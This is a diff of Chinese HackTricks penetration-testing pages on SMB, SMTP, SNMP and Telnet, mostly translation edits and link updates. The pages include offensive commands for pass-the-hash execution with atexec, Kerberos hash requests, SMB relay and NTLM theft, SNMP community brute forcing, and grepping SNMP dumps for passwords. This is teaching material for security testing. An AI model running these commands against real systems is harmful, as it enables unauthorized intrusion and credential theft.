通过 **端口 135** 隐秘地执行命令 shell而不接触磁盘或运行新服务使用 DCOM。\ 隐秘地执行命令 shell而不接触磁盘或运行新服务通过 **端口 135** 使用 DCOM。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/ **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -410,7 +410,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [AtExec](../../windows-hardening/lateral-movement/atexec.md) ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB。\ 通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB。\
**kali**,它位于 /usr/share/doc/python3-impacket/examples/ **kali** 中位于 /usr/share/doc/python3-impacket/examples/
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami" ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -429,7 +429,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## SMB 继电器攻击 ## SMB 继电器攻击
此攻击使用 Responder 工具包来 **捕获内部网络上的 SMB 认证会话**,并将其 **中继****目标机器**。如果认证 **会话成功**,它将自动将您带入 **系统** **shell**。\ 此攻击使用 Responder 工具包来 **捕获内部网络上的 SMB 认证会话**,并将其 **中继****目标机器**。如果认证 **会话成功**,它将自动将您带入 **系统** **shell**。\
[**有关此攻击的更多信息请点击这里。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**有关此攻击的更多信息。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM 盗窃 ## NTLM 盗窃
类似于 SMB 捕获,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](#smb-relay-attack) 中使用。 与 SMB 捕获类似,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](#smb-relay-attack) 中使用。
[查看: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [查看: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2: Entry_2:
Name: Enum4Linux Name: Enum4Linux

View File

@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
如果你有机会**让受害者给你发送一封邮件**(例如通过网页的联系表单),请这样做,因为**你可以通过查看邮件的头部了解受害者的内部拓扑**。 如果你有机会**让受害者给你发送一封邮件**(例如通过网页的联系表单),请这样做,因为**你可以通过查看邮件的头部了解受害者的内部拓扑**。
你也可以从SMTP服务器获取一封邮件尝试**向该服务器发送一封到不存在地址的邮件**因为服务器会向攻击者发送一封NDN邮件。但请确保你从一个允许的地址发送邮件检查SPF策略并且你可以接收NDN消息。 你也可以从SMTP服务器获取一封邮件尝试**向该服务器发送一封邮件一个不存在地址**因为服务器会向攻击者发送一封NDN邮件。但是,请确保你从一个允许的地址发送邮件检查SPF策略并且你可以接收NDN消息。
你还应该尝试**发送不同的内容,因为你可以在头部找到更有趣的信息**,例如:`X-Virus-Scanned: by av.domain.com`\ 你还应该尝试**发送不同的内容,因为你可以在头部找到更有趣的信息**,例如:`X-Virus-Scanned: by av.domain.com`\
你应该发送EICAR测试文件。\ 你应该发送EICAR测试文件。\
@ -58,11 +58,11 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
``` ```
**自动化** 这个 **nmap** 插件 `smtp-ntlm-info.nse` **自动化** 这个过程使用 **nmap** 插件 `smtp-ntlm-info.nse`
### 内部服务器名称 - 信息泄露 ### 内部服务器名称 - 信息泄露
一些 SMTP 服务器在发出命令 "MAIL FROM" 而没有完整地址时,会自动补全发件人的地址,从而泄露其内部名称: 一些 SMTP 服务器在发出 "MAIL FROM" 命令时,如果没有提供完整地址,会自动补全发件人地址,从而泄露其内部名称:
``` ```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all EHLO all
@ -81,11 +81,11 @@ EHLO all
MAIL FROM: me MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
``` ```
### 嗅探 ### Sniffing
检查是否从发送到端口 25 的数据包中嗅探到一些密码 检查是否从发送到端口 25 的数据包中嗅探到一些密码
### [认证暴力破解](../../generic-hacking/brute-force.md#smtp) ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
## 用户名暴力破解枚举 ## 用户名暴力破解枚举
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling ## SMTP Smuggling
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一)。有关 SMTP Smuggling 的更多信息,请查看: SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一部分)。有关 SMTP Smuggling 的更多信息,请查看:
{{#ref}} {{#ref}}
smtp-smuggling.md smtp-smuggling.md
@ -234,7 +234,7 @@ smtp-smuggling.md
### SPF ### SPF
> [!CAUTION] > [!CAUTION]
> SPF [在 2014 年“弃用”](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。这意味着您应该在 `domain.com` 中创建 **TXT 记录**,而不是在 `_spf.domain.com` 中,使用 **相同的语法**。\ > SPF [在 2014 年弃用”](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。这意味着您应该在 `domain.com` 中创建 **TXT 记录**,而不是在 `_spf.domain.com`创建,使用 **相同的语法**。\
> 此外,为了重用以前的 SPF 记录,通常会发现类似 `"v=spf1 include:_spf.google.com ~all"` 的内容。 > 此外,为了重用以前的 SPF 记录,通常会发现类似 `"v=spf1 include:_spf.google.com ~all"` 的内容。
**发送方策略框架**SPF是一种机制使邮件传输代理MTA能够通过查询组织定义的授权邮件服务器列表来验证发送电子邮件的主机是否被授权。该列表指定了 **被授权代表域名发送电子邮件的 IP 地址/范围、域名和其他实体**,并在 SPF 记录中包含各种“**机制**”。 **发送方策略框架**SPF是一种机制使邮件传输代理MTA能够通过查询组织定义的授权邮件服务器列表来验证发送电子邮件的主机是否被授权。该列表指定了 **被授权代表域名发送电子邮件的 IP 地址/范围、域名和其他实体**,并在 SPF 记录中包含各种“**机制**”。
@ -250,13 +250,13 @@ smtp-smuggling.md
| IP4 | 如果发送者在给定的 IPv4 地址范围内,则匹配。 | | IP4 | 如果发送者在给定的 IPv4 地址范围内,则匹配。 |
| IP6 | 如果发送者在给定的 IPv6 地址范围内,则匹配。 | | IP6 | 如果发送者在给定的 IPv6 地址范围内,则匹配。 |
| MX | 如果域名有一个 MX 记录解析为发送者的地址,则匹配(即邮件来自该域的一个入站邮件服务器)。 | | MX | 如果域名有一个 MX 记录解析为发送者的地址,则匹配(即邮件来自该域的一个入站邮件服务器)。 |
| PTR | 如果客户端地址的域名PTR 记录)在给定域中,并且该域名解析为客户端地址(前向确认反向 DNS则匹配。此机制不推荐使用尽可能避免。 | | PTR | 如果客户端地址的域名PTR 记录)在给定域中,并且该域名解析为客户端地址(前向确认反向 DNS则匹配。此机制不推荐使用尽可能避免。 |
| EXISTS | 如果给定的域名解析为任何地址,则匹配(无论解析为哪个地址)。这很少使用。与 SPF 宏语言一起,它提供了更复杂的匹配,如 DNSBL 查询。 | | EXISTS | 如果给定的域名解析为任何地址,则匹配(无论解析为哪个地址)。这很少使用。与 SPF 宏语言一起,它提供了更复杂的匹配,如 DNSBL 查询。 |
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。然而,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。 | | INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。但是,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。 |
| REDIRECT | <p>重定向是指向另一个域名的指针,该域名托管 SPF 策略,它允许多个域共享相同的 SPF 策略。当处理大量共享相同电子邮件基础设施的域时,它非常有用。</p><p>将使用重定向机制中指示的域的 SPF 策略。</p> | | REDIRECT | <p>重定向是指向另一个域名的指针,该域名托管 SPF 策略,它允许多个域共享相同的 SPF 策略。当处理大量共享相同电子邮件基础设施的域时,它非常有用。</p><p>将使用重定向机制中指示的域的 SPF 策略。</p> |
还可以识别 **限定符**,指示 **如果匹配了某个机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配了任何机制,则表示允许)。\ 还可以识别 **限定符**,指示 **如果匹配了某个机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配了任何机制,则表示允许)。\
您通常会**每个 SPF 策略的末尾**注意到类似:**\~all** 或 **-all**。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-电子邮件。** 您通常会注意到 **每个 SPF 策略的末尾** 有类似 **\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)电子邮件。**
#### 限定符 #### 限定符
@ -265,9 +265,9 @@ smtp-smuggling.md
- **`+`**:对应于通过结果。默认情况下,机制假定此限定符,使得 `+mx` 等同于 `mx` - **`+`**:对应于通过结果。默认情况下,机制假定此限定符,使得 `+mx` 等同于 `mx`
- **`?`**:表示中立结果,类似于无(没有特定策略)。 - **`?`**:表示中立结果,类似于无(没有特定策略)。
- **`~`**:表示软失败,作为中立和失败之间的中间状态。符合此结果的电子邮件通常被接受,但会相应标记。 - **`~`**:表示软失败,作为中立和失败之间的中间状态。符合此结果的电子邮件通常被接受,但会相应标记。
- **`-`**:表示失败,建议直接拒绝电子邮件。 - **`-`**:表示失败,建议直接拒绝电子邮件。
在即将到来的示例中,**google.com 的 SPF 策略**被说明。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略: 在即将到来的示例中,**google.com 的 SPF 策略** 被说明。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
```shell-session ```shell-session
dig txt google.com | grep spf dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
@ -328,8 +328,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| pct | 受过滤消息的百分比 | pct=20 | | pct | 受过滤消息的百分比 | pct=20 |
| ruf | 取证报告的报告 URI | ruf=mailto:authfail@example.com | | ruf | 取证报告的报告 URI | ruf=mailto:authfail@example.com |
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com | | rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
| p | 组织域的策 | p=quarantine | | p | 组织域的策 | p=quarantine |
| sp | OD 的子域策 | sp=reject | | sp | OD 的子域策 | sp=reject |
| adkim | DKIM 的对齐模式 | adkim=s | | adkim | DKIM 的对齐模式 | adkim=s |
| aspf | SPF 的对齐模式 | aspf=r | | aspf | SPF 的对齐模式 | aspf=r |
@ -351,9 +351,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **开放转发** ### **开放转发**
发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**受收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。 发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**受收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
一些管理员使用的解决方法是为了避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信,**允许来自任何 IP 地址的连接**。这是通过将 SMTP 服务器的 `mynetworks` 参数配置为接受所有 IP 地址来实现的,如下所示: 一些管理员使用的解决方法是为了避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信,**允许来自任何 IP 地址的连接**。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
```bash ```bash
mynetworks = 0.0.0.0/0 mynetworks = 0.0.0.0/0
``` ```
@ -486,9 +486,9 @@ s.sendmail(sender, [destination], msg_data)
- 损坏的电子邮件内容 - 损坏的电子邮件内容
- 使用的值与邮件头不同 - 使用的值与邮件头不同
- 存在有效且受信任的SSL证书 - 存在有效且受信任的SSL证书
- 将页面提交网络内容过滤网站 - 将页面提交网络内容过滤网站
## 通过SMTP进行数据外泄 ## 通过SMTP进行外泄
**如果您可以通过SMTP发送数据** [**请阅读此文**](../../generic-hacking/exfiltration.md#smtp)**。** **如果您可以通过SMTP发送数据** [**请阅读此文**](../../generic-hacking/exfiltration.md#smtp)**。**
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix ### Postfix
通常,如果已安装,`/etc/postfix/master.cf` 中包含 **在用户收新邮件时执行的脚本**。例如,行 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` 意味着如果用户mark收到新邮件,将执行 `/etc/postfix/filtering` 通常,如果已安装,`/etc/postfix/master.cf` 中包含 **在用户新邮件时执行的脚本**。例如,行 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` 意味着如果用户mark收到新邮件将执行 `/etc/postfix/filtering`
其他配置文件: 其他配置文件:
``` ```
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: | Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -14,21 +14,21 @@ PORT STATE SERVICE REASON VERSION
### MIB ### MIB
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 树状层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址****名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\ 为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是一种 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址****名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它解释了 **在哪里找到哪些信息** 以及它的外观,返回特定 OID 的值,或使用哪种数据类型。 MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它解释了 **在哪里找到哪些信息** 以及它的外观,返回特定 OID 的值,或使用哪种数据类型。
### OIDs ### OIDs
**对象标识符 (OIDs)** 起着至关重要的作用。这些唯一标识符旨在管理 **管理信息库 (MIB)** 中的对象。 **对象标识符 (OIDs)** 起着至关重要的作用。这些唯一标识符旨在管理 **管理信息库 (MIB)** 中的对象。
MIB 对象 ID 或 OID 的最高级别分配给各种标准制定组织。在这些顶级中,建立了全球管理实践和标准的框架。 MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在这些顶级中,建立了全球管理实践和标准的框架。
此外,供应商被授予建立私有分支的自由。在这些分支中,他们有 **自主权来包含与其自身产品线相关的管理对象**。该系统确保在不同供应商和标准之间有一个结构化和有组织的方法来识别和管理各种对象。 此外,供应商被授予建立私有分支的自由。在这些分支中,他们有 **自主权来包含与其自身产品线相关的管理对象**。该系统确保在不同供应商和标准之间有一个结构化和有组织的方法来识别和管理各种对象。
![](<../../images/SNMP_OID_MIB_Tree (1).png>) ![](<../../images/SNMP_OID_MIB_Tree (1).png>)
您可以通过网络 **导航** 通过 **OID 树** [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\ 您可以通过网络 **浏览** OID 树 [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
有一些 **知名的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 ** OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据... 有一些 **知名的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **这个 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...
### **OID 示例** ### **OID 示例**
@ -40,7 +40,7 @@ MIB 对象 ID 或 OID 的最高级别分配给各种标准制定组织。在这
- 1 这称为 ISO表明这是一个 OID。这就是所有 OID 以“1”开头的原因。 - 1 这称为 ISO表明这是一个 OID。这就是所有 OID 以“1”开头的原因。
- 3 这称为 ORG用于指定构建设备的组织。 - 3 这称为 ORG用于指定构建设备的组织。
- 6 这是 dod 或国防部,最早建立互联网的组织。 - 6 这是 dod 或国防部,最早建立互联网的组织。
- 1 这是互联网的值,表示所有通信将通过互联网进行。 - 1 这是互联网的值,表示所有通信将通过互联网进行。
- 4 该值确定该设备是由私营组织制造的,而不是政府组织。 - 4 该值确定该设备是由私营组织制造的,而不是政府组织。
- 1 该值表示该设备是由企业或商业实体制造的。 - 1 该值表示该设备是由企业或商业实体制造的。
@ -59,16 +59,16 @@ MIB 对象 ID 或 OID 的最高级别分配给各种标准制定组织。在这
- 1 设备中的特定点 - 1 设备中的特定点
- 3 端口 - 3 端口
- 21 端口地址 - 21 端口地址
- 1 端口显示 - 1 端口显示
- 4 - 4 点号
- 7 点的状态 - 7 点的状态
### SNMP 版本 ### SNMP 版本
有 2 个重要的 SNMP 版本: 有 2 个重要的 SNMP 版本:
- **SNMPv1**:主要版本,仍然是最常见的,**证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为证**。 - **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
- **SNMPv3**:使用更好的 **证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。 - **SNMPv3**:使用更好的 **身份验证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。
### 社区字符串 ### 社区字符串
@ -78,8 +78,8 @@ MIB 对象 ID 或 OID 的最高级别分配给各种标准制定组织。在这
- **`public`** 主要是 **只读** 功能 - **`public`** 主要是 **只读** 功能
- **`private`** **读/写** 一般 - **`private`** **读/写** 一般
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现“**public**”正在使用,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”** 的对象。\ 请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”** 的对象。\
如果您尝试 **写入** 对象,将收到 **`noSuchName``readOnly` 错误**\*\*.\*\* 如果您尝试 **写入** 一个对象,将收到 **`noSuchName``readOnly` 错误**\*\*.\*\*
在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串** 在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**
@ -93,7 +93,7 @@ MIB 对象 ID 或 OID 的最高级别分配给各种标准制定组织。在这
## 暴力破解社区字符串 (v1 和 v2c) ## 暴力破解社区字符串 (v1 和 v2c)
**猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方式来对 SNMP 执行暴力攻击](../../generic-hacking/brute-force.md#snmp)。一个常用的社区字符串是 `public` **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方法以对 SNMP 执行暴力攻击](../../generic-hacking/brute-force.md#snmp)。一个常用的社区字符串是 `public`
## 枚举 SNMP ## 枚举 SNMP
@ -124,9 +124,9 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash ```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
``` ```
**SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**IPv4 和 **IPv6** 地址)、用户名、正常运行时间、服务器/操作系统版本以及 **进程** **SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**IPv4 和 **IPv6** 地址)、用户名、运行时间、服务器/操作系统版本以及 **进程**
**运行**(可能包含密码).... **运行**(可能包含密码)....
### **危险设置** ### **危险设置**
@ -145,7 +145,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### SNMP 参数用于 Microsoft Windows ### SNMP 参数用于 Microsoft Windows
一系列 **管理信息库 (MIB) 值** 被用于通过 SNMP 监控 Windows 系统的各个方面: 一系列 **管理信息库MIB值** 被用于通过 SNMP 监控 Windows 系统的各个方面:
- **系统进程**:通过 `1.3.6.1.2.1.25.1.6.0` 访问,此参数允许监控系统内的活动进程。 - **系统进程**:通过 `1.3.6.1.2.1.25.1.6.0` 访问,此参数允许监控系统内的活动进程。
- **运行程序**`1.3.6.1.2.1.25.4.2.1.2` 值用于跟踪当前运行的程序。 - **运行程序**`1.3.6.1.2.1.25.4.2.1.2` 值用于跟踪当前运行的程序。
@ -165,7 +165,7 @@ cisco-snmp.md
## 从 SNMP 到 RCE ## 从 SNMP 到 RCE
如果您拥有允许您在 SNMP 服务中 **写入值****字符串**,您可能能够利用它来 **执行命令** 如果您拥有允许您 **写入值** 到 SNMP 服务**字符串**,您可能能够利用它来 **执行命令**
{{#ref}} {{#ref}}
snmp-rce.md snmp-rce.md
@ -173,11 +173,11 @@ snmp-rce.md
## **大规模 SNMP** ## **大规模 SNMP**
[Braa ](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。 [Braa](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
Braa 实现了自己的 SNMP 堆栈,因此不需要任何 SNMP 库,如 net-snmp。 Braa 实现了自己的 SNMP 堆栈,因此不需要任何 SNMP 库,如 net-snmp。
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]\[iso id\] **语法:** braa \[Community-string]@\ [IP of SNMP server]:\[iso id]
```bash ```bash
braa ignite123@192.168.1.125:.1.3.6.* braa ignite123@192.168.1.125:.1.3.6.*
``` ```
@ -199,13 +199,13 @@ grep -i "trap" *.snmp
``` ```
### **用户名/密码** ### **用户名/密码**
存储在 MIB 表中的日志会被检查 **失败的登录尝试**,这可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据: 存储在 MIB 表中的日志会被检查以查找 **失败的登录尝试**,这些尝试可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
```bash ```bash
grep -i "login\|fail" *.snmp grep -i "login\|fail" *.snmp
``` ```
### **电子邮件** ### **电子邮件**
最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**重点关注匹配电子邮件格式的模式: 最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**专注于匹配电子邮件格式的模式:
```bash ```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
``` ```
@ -223,7 +223,6 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
- snmpd.conf - snmpd.conf
- snmp-config.xml - snmp-config.xml
## HackTricks 自动命令 ## HackTricks 自动命令
``` ```
Protocol_Name: SNMP #Protocol Abbreviation if there is one. Protocol_Name: SNMP #Protocol Abbreviation if there is one.
@ -236,7 +235,7 @@ Description: Notes for SNMP
Note: | Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2: Entry_2:
Name: SNMP Check Name: SNMP Check

View File

@ -23,13 +23,13 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
``` ```
脚本 `telnet-ntlm-info.nse` 将获取 NTLM 信息Windows 版本)。 脚本 `telnet-ntlm-info.nse` 将获取 NTLM 信息Windows 版本)。
来自 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854):在 TELNET 协议中有各种 "**options**",可以使用 "**DO, DON'T, WILL, WON'T**" 结构进行授权,以便用户和服务器同意使用一组更复杂(或许只是不同)的约定来进行他们的 TELNET 连接。这些选项可能包括更改字符集、回显模式等。 来自 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854):在 TELNET 协议中有各种 "**options**",可以使用 "**DO, DON'T, WILL, WON'T**" 结构进行协商,以便用户和服务器同意使用更复杂(或可能只是不同)的约定集进行 TELNET 连接。这些选项可能包括更改字符集、回显模式等。
**我知道可以枚举这些选项,但我不知道怎么做,所以如果你知道怎么做,请告诉我。** **我知道可以枚举这些选项,但我不知道怎么做,所以如果你知道怎么做,请告诉我。**
### [暴力破解](../generic-hacking/brute-force.md#telnet) ### [Brute force](../generic-hacking/brute-force.md#telnet)
## 配置文件 ## Config file
```bash ```bash
/etc/inetd.conf /etc/inetd.conf
/etc/xinetd.d/telnet /etc/xinetd.d/telnet
@ -48,7 +48,7 @@ Note: |
